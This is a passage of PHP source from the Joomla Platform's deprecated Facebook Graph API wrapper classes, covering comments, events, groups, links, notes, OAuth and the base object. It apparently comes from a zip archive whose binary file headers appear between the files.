strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($comment, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($comment, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on a comment. Requires authentication with
publish_stream permission.
*
* @param string $comment The comment id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($comment, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($comment, 'comments', $data);
}
/**
* Method to get comment's likes. Requires authentication.
*
* @param string $comment The comment id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($comment, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($comment, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a comment. Requires authentication and publish_stram
permission.
*
* @param string $comment The comment id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($comment)
{
return $this->createConnection($comment, 'likes');
}
/**
* Method to unlike a comment. Requires authentication and publish_stram
permission.
*
* @param string $comment The comment id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($comment)
{
return $this->deleteConnection($comment, 'likes');
}
}
PKJn�[�>n~$A$Afacebook/event.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API User class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/event/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookEvent extends JFacebookObject
{
/**
* Method to get information about an event visible to the current user.
Requires authentication.
*
* @param string $event The event id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getEvent($event)
{
return $this->get($event);
}
/**
* Method to get the event's wall. Requires authentication.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFeed($event, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($event, 'feed', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a link on event's feed which the current_user is or
maybe attending. Requires authentication and publish_stream permission.
*
* @param string $event The event id.
* @param string $link Link URL.
* @param string $message Link message.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLink($event, $link, $message = null)
{
// Set POST request parameters.
$data = array();
$data['link'] = $link;
$data['message'] = $message;
return $this->createConnection($event, 'feed', $data);
}
/**
* Method to delete a link. Requires authentication and publish_stream
permission.
*
* @param mixed $link The Link ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLink($link)
{
return $this->deleteConnection($link);
}
/**
* Method to post on event's wall. Message or link parameter is
required. Requires authentication and publish_stream permission.
*
* @param string $event The event id.
* @param string $message Post message.
* @param string $link Post URL.
* @param string $picture Post thumbnail image (can only be used
if link is specified)
* @param string $name Post name (can only be used if link is
specified).
* @param string $caption Post caption (can only be used if link
is specified).
* @param string $description Post description (can only be used if
link is specified).
* @param array $actions Post actions array of objects containing
name and link.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPost($event, $message = null, $link = null, $picture
= null, $name = null, $caption = null,
$description = null, $actions = null)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
$data['link'] = $link;
$data['name'] = $name;
$data['caption'] = $caption;
$data['description'] = $description;
$data['actions'] = $actions;
$data['picture'] = $picture;
return $this->createConnection($event, 'feed', $data);
}
/**
* Method to delete a post. Note: you can only delete the post if it was
created by the current user.
* Requires authentication and publish_stream permission.
*
* @param string $post The Post ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to post a status message on behalf of the user on the
event's wall. Requires authentication and publish_stream permission.
*
* @param string $event The event id.
* @param string $message Status message content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createStatus($event, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($event, 'feed', $data);
}
/**
* Method to delete a status. Note: you can only delete the post if it was
created by the current user.
* Requires authentication and publish_stream permission.
*
* @param string $status The Status ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteStatus($status)
{
return $this->deleteConnection($status);
}
/**
* Method to get the list of invitees for the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getInvited($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'invited', '',
$limit, $offset);
}
/**
* Method to check if a user is invited to the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isInvited($event, $user)
{
return $this->getConnection($event, 'invited/' . $user);
}
/**
* Method to invite users to the event. Requires authentication and
create_event permission.
*
* @param string $event The event id.
* @param string $users Comma separated list of user ids.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createInvite($event, $users)
{
// Set POST request parameters.
$data = array();
$data['users'] = $users;
return $this->createConnection($event, 'invited', $data);
}
/**
* Method to delete an invitation. Note: you can only delete the invite if
the current user is the event admin.
* Requires authentication and rsvp_event permission.
*
* @param string $event The event id.
* @param string $user The user id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteInvite($event, $user)
{
return $this->deleteConnection($event, 'invited/' . $user);
}
/**
* Method to get the list of attending users. Requires authentication and
user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getAttending($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'attending',
'', $limit, $offset);
}
/**
* Method to check if a user is attending an event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isAttending($event, $user)
{
return $this->getConnection($event, 'attending/' . $user);
}
/**
* Method to set the current user as attending. Requires authentication
and rsvp_event permission.
*
* @param string $event The event id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createAttending($event)
{
return $this->createConnection($event, 'attending');
}
/**
* Method to get the list of maybe attending users. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMaybe($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'maybe', '',
$limit, $offset);
}
/**
* Method to check if a user is maybe attending an event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isMaybe($event, $user)
{
return $this->getConnection($event, 'maybe/' . $user);
}
/**
* Method to set the current user as maybe attending. Requires
authentication and rscp_event permission.
*
* @param string $event The event id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createMaybe($event)
{
return $this->createConnection($event, 'maybe');
}
/**
* Method to get the list of users which declined the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getDeclined($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'declined',
'', $limit, $offset);
}
/**
* Method to check if a user responded 'no' to the event.
Requires authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isDeclined($event, $user)
{
return $this->getConnection($event, 'declined/' . $user);
}
/**
* Method to set the current user as declined. Requires authentication and
rscp_event permission.
*
* @param string $event The event id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createDeclined($event)
{
return $this->createConnection($event, 'declined');
}
/**
* Method to get the list of users which have not replied to the event.
Requires authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNoreply($event, $limit = 0, $offset = 0)
{
return $this->getConnection($event, 'noreply', '',
$limit, $offset);
}
/**
* Method to check if a user has not replied to the event. Requires
authentication and user_events or friends_events permission.
*
* @param string $event The event id.
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return array The decoded JSON response or an empty array if the
user is not invited.
*
* @since 3.2.0
*/
public function isNoreply($event, $user)
{
return $this->getConnection($event, 'noreply/' . $user);
}
/**
* Method to get the event's profile picture. Requires authentication
and user_events or friends_events permission.
*
* @param string $event The event id.
* @param boolean $redirect If false this will return the URL of the
picture without a 302 redirect.
* @param string $type To request a different photo use square |
small | normal | large.
*
* @return string The URL to the event's profile picture.
*
* @since 3.2.0
*/
public function getPicture($event, $redirect = true, $type = null)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
if ($type)
{
$extra_fields .= (strpos($extra_fields, '?') === false) ?
'?type=' . $type : '&type=' . $type;
}
return $this->getConnection($event, 'picture',
$extra_fields);
}
/**
* Method to get photos published on event's wall. Requires
authentication.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhotos($event, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($event, 'photos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a photo on event's wall. Requires authentication
and publish_stream permission.
*
* @param string $event The event id.
* @param string $source Path to photo.
* @param string $message Photo description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPhoto($event, $source, $message = null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
if ($message)
{
$data['message'] = $message;
}
return $this->createConnection($event, 'photos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get videos published on event's wall. Requires
authentication.
*
* @param string $event The event id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getVideos($event, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($event, 'videos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a video on event's wall. Requires authentication
and publish_stream permission.
*
* @param string $event The event id.
* @param string $source Path to photo.
* @param string $title Video title.
* @param string $description Video description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createVideo($event, $source, $title = null, $description =
null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
if ($title)
{
$data['title'] = $title;
}
if ($description)
{
$data['description'] = $description;
}
return $this->createConnection($event, 'videos', $data,
array('Content-Type' => 'multipart/form-data'));
}
}
PKJn�[�Z����facebook/facebook.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Facebook API instance.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebook
{
/**
* @var Registry Options for the Facebook object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JFacebookOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* @var JFacebookUser Facebook API object for user.
* @since 3.2.0
*/
protected $user;
/**
* @var JFacebookStatus Facebook API object for status.
* @since 3.2.0
*/
protected $status;
/**
* @var JFacebookCheckin Facebook API object for checkin.
* @since 3.2.0
*/
protected $checkin;
/**
* @var JFacebookEvent Facebook API object for event.
* @since 3.2.0
*/
protected $event;
/**
* @var JFacebookGroup Facebook API object for group.
* @since 3.2.0
*/
protected $group;
/**
* @var JFacebookLink Facebook API object for link.
* @since 3.2.0
*/
protected $link;
/**
* @var JFacebookNote Facebook API object for note.
* @since 3.2.0
*/
protected $note;
/**
* @var JFacebookPost Facebook API object for post.
* @since 3.2.0
*/
protected $post;
/**
* @var JFacebookComment Facebook API object for comment.
* @since 3.2.0
*/
protected $comment;
/**
* @var JFacebookPhoto Facebook API object for photo.
* @since 3.2.0
*/
protected $photo;
/**
* @var JFacebookVideo Facebook API object for video.
* @since 3.2.0
*/
protected $video;
/**
* @var JFacebookAlbum Facebook API object for album.
* @since 3.2.0
*/
protected $album;
/**
* Constructor.
*
* @param JFacebookOAuth $oauth OAuth client.
* @param Registry $options Facebook options object.
* @param JHttp $client The HTTP client object.
*
* @since 3.2.0
*/
public function __construct(JFacebookOAuth $oauth = null, Registry
$options = null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://graph.facebook.com/');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JFacebookObject Facebook API object (status, user, friends
etc).
*
* @since 3.2.0
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JFacebook' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JFacebook instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JFacebook instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JFacebook This object for method chaining.
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKJn�[H�'yyfacebook/group.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Group class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/group/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookGroup extends JFacebookObject
{
/**
* Method to read a group. Requires authentication and user_groups or
friends_groups permission for non-public groups.
*
* @param string $group The group id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getGroup($group)
{
return $this->get($group);
}
/**
* Method to get the group's wall. Requires authentication and
user_groups or friends_groups permission for non-public groups.
*
* @param string $group The group id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFeed($group, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($group, 'feed', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the group's members. Requires authentication and
user_groups or friends_groups permission for non-public groups.
*
* @param string $group The group id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMembers($group, $limit = 0, $offset = 0)
{
return $this->getConnection($group, 'members', '',
$limit, $offset);
}
/**
* Method to get the group's docs. Requires authentication and
user_groups or friends_groups permission for non-public groups.
*
* @param string $group The group id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getDocs($group, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($group, 'docs', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the groups's picture. Requires authentication and
user_groups or friends_groups permission.
*
* @param string $group The group id.
* @param string $type To request a different photo use square |
small | normal | large.
*
* @return string The URL to the group's picture.
*
* @since 3.2.0
*/
public function getPicture($group, $type = null)
{
if ($type)
{
$type = '?type=' . $type;
}
return $this->getConnection($group, 'picture', $type);
}
/**
* Method to post a link on group's wall. Requires authentication and
publish_stream permission.
*
* @param string $group The group id.
* @param string $link Link URL.
* @param string $message Link message.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLink($group, $link, $message = null)
{
// Set POST request parameters.
$data = array();
$data['link'] = $link;
if ($message)
{
$data['message'] = $message;
}
return $this->createConnection($group, 'feed', $data);
}
/**
* Method to delete a link. Requires authentication.
*
* @param mixed $link The Link ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLink($link)
{
return $this->deleteConnection($link);
}
/**
* Method to post on group's wall. Message or link parameter is
required. Requires authentication and publish_stream permission.
*
* @param string $group The group id.
* @param string $message Post message.
* @param string $link Post URL.
* @param string $picture Post thumbnail image (can only be used
if link is specified)
* @param string $name Post name (can only be used if link is
specified).
* @param string $caption Post caption (can only be used if link
is specified).
* @param string $description Post description (can only be used if
link is specified).
* @param array $actions Post actions array of objects containing
name and link.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPost($group, $message = null, $link = null, $picture
= null, $name = null, $caption = null,
$description = null, $actions = null)
{
// Set POST request parameters.
if ($message)
{
$data['message'] = $message;
}
if ($link)
{
$data['link'] = $link;
}
if ($name)
{
$data['name'] = $name;
}
if ($caption)
{
$data['caption'] = $caption;
}
if ($description)
{
$data['description'] = $description;
}
if ($actions)
{
$data['actions'] = $actions;
}
if ($picture)
{
$data['picture'] = $picture;
}
return $this->createConnection($group, 'feed', $data);
}
/**
* Method to delete a post. Note: you can only delete the post if it was
created by the current user. Requires authentication.
*
* @param string $post The Post ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to post a status message on behalf of the user on the
group's wall. Requires authentication and publish_stream permission.
*
* @param string $group The group id.
* @param string $message Status message content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createStatus($group, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($group, 'feed', $data);
}
/**
* Method to delete a status. Note: you can only delete the status if it
was created by the current user. Requires authentication.
*
* @param string $status The Status ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteStatus($status)
{
return $this->deleteConnection($status);
}
}
PKJn�[=*r�jjfacebook/link.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Link class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/link/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookLink extends JFacebookObject
{
/**
* Method to get a link. Requires authentication and read_stream
permission for non-public links.
*
* @param string $link The link id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLink($link)
{
return $this->get($link);
}
/**
* Method to get a link's comments. Requires authentication and
read_stream permission for non-public links.
*
* @param string $link The link id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($link, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($link, 'comments', '',
$limit, $offset, $until, $since);
}
/**
* Method to comment on a link. Requires authentication and publish_stream
permission.
*
* @param string $link The link id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($link, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($link, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment's id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get link's likes. Requires authentication and
read_stream permission for non-public links.
*
* @param string $link The link id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($link, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($link, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a link. Requires authentication and publish_stream
permission.
*
* @param string $link The link id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($link)
{
return $this->createConnection($link, 'likes');
}
/**
* Method to unlike a link. Requires authentication and publish_stream
permission.
*
* @param string $link The link id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($link)
{
return $this->deleteConnection($link, 'likes');
}
}
PKJn�[�*���facebook/note.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Note class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/note/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookNote extends JFacebookObject
{
/**
* Method to get a note. Requires authentication and user_notes or
friends_notes permission for non-public notes.
*
* @param string $note The note id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNote($note)
{
return $this->get($note);
}
/**
* Method to get a note's comments. Requires authentication and
user_notes or friends_notes permission for non-public notes.
*
* @param string $note The note id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($note, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($note, 'comments', '',
$limit, $offset, $until, $since);
}
/**
* Method to comment on a note. Requires authentication and publish_stream
and user_notes or friends_notes permissions.
*
* @param string $note The note id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($note, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($note, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
and user_notes or friends_notes permissions.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get note's likes. Requires authentication and user_notes
or friends_notes for non-public notes.
*
* @param string $note The note id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($note, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($note, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a note. Requires authentication and publish_stream and
user_notes or friends_notes permissions.
*
* @param string $note The note id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($note)
{
return $this->createConnection($note, 'likes');
}
/**
* Method to unlike a note. Requires authentication and publish_stream and
user_notes or friends_notes permissions.
*
* @param string $note The note id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($note)
{
return $this->deleteConnection($note, 'likes');
}
}
PKJn�[z3T�QQfacebook/oauth.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for generating Facebook API access token.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookOAuth extends JOAuth2Client
{
/**
* @var Registry Options for the JFacebookOAuth object.
* @since 3.2.0
*/
protected $options;
/**
* Constructor.
*
* @param Registry $options JFacebookOauth options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null)
{
$this->options = isset($options) ? $options : new Registry;
// Setup the authentication and token urls if not already set.
$this->options->def('authurl',
'http://www.facebook.com/dialog/oauth');
$this->options->def('tokenurl',
'https://graph.facebook.com/oauth/access_token');
// Call the JOAuth2Client constructor to setup the object.
parent::__construct($this->options, $client, $input);
}
/**
* Method used to set permissions.
*
* @param string $scope Comma separated list of permissions.
*
* @return JFacebookOauth This object for method chaining
*
* @since 3.2.0
*/
public function setScope($scope)
{
$this->setOption('scope', $scope);
return $this;
}
/**
* Method to get the current scope
*
* @return string Comma separated list of permissions.
*
* @since 3.2.0
*/
public function getScope()
{
return $this->getOption('scope');
}
}
PKJn�[��b3TTfacebook/object.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Facebook API object class for the Joomla Platform.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
abstract class JFacebookObject
{
/**
* @var Registry Options for the Facebook object.
* @since 3.2.0
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JFacebookOAuth The OAuth client.
* @since 3.2.0
*/
protected $oauth;
/**
* Constructor.
*
* @param Registry $options Facebook options object.
* @param JHttp $client The HTTP client object.
* @param JFacebookOAuth $oauth The OAuth client.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JFacebookOAuth $oauth = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
$this->oauth = $oauth;
}
/**
* Method to build and return a full request URL for the request. This
method will
* add appropriate pagination details if necessary and also prepend the
API url
* to have a complete URL for the request.
*
* @param string $path URL to inflect.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param integer $until A unix timestamp or any date accepted by
strtotime.
* @param integer $since A unix timestamp or any date accepted by
strtotime.
*
* @return string The request URL.
*
* @since 3.2.0
*/
protected function fetchUrl($path, $limit = 0, $offset = 0, $until = null,
$since = null)
{
// Get a new JUri object fousing the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($limit > 0)
{
$uri->setVar('limit', (int) $limit);
}
if ($offset > 0)
{
$uri->setVar('offset', (int) $offset);
}
if ($until != null)
{
$uri->setVar('until', $until);
}
if ($since != null)
{
$uri->setVar('since', $since);
}
return (string) $uri;
}
/**
* Method to send the request.
*
* @param string $path The path of the request to make.
* @param mixed $data Either an associative array or a string to
be sent with the post request.
* @param array $headers An array of name-value pairs to include in
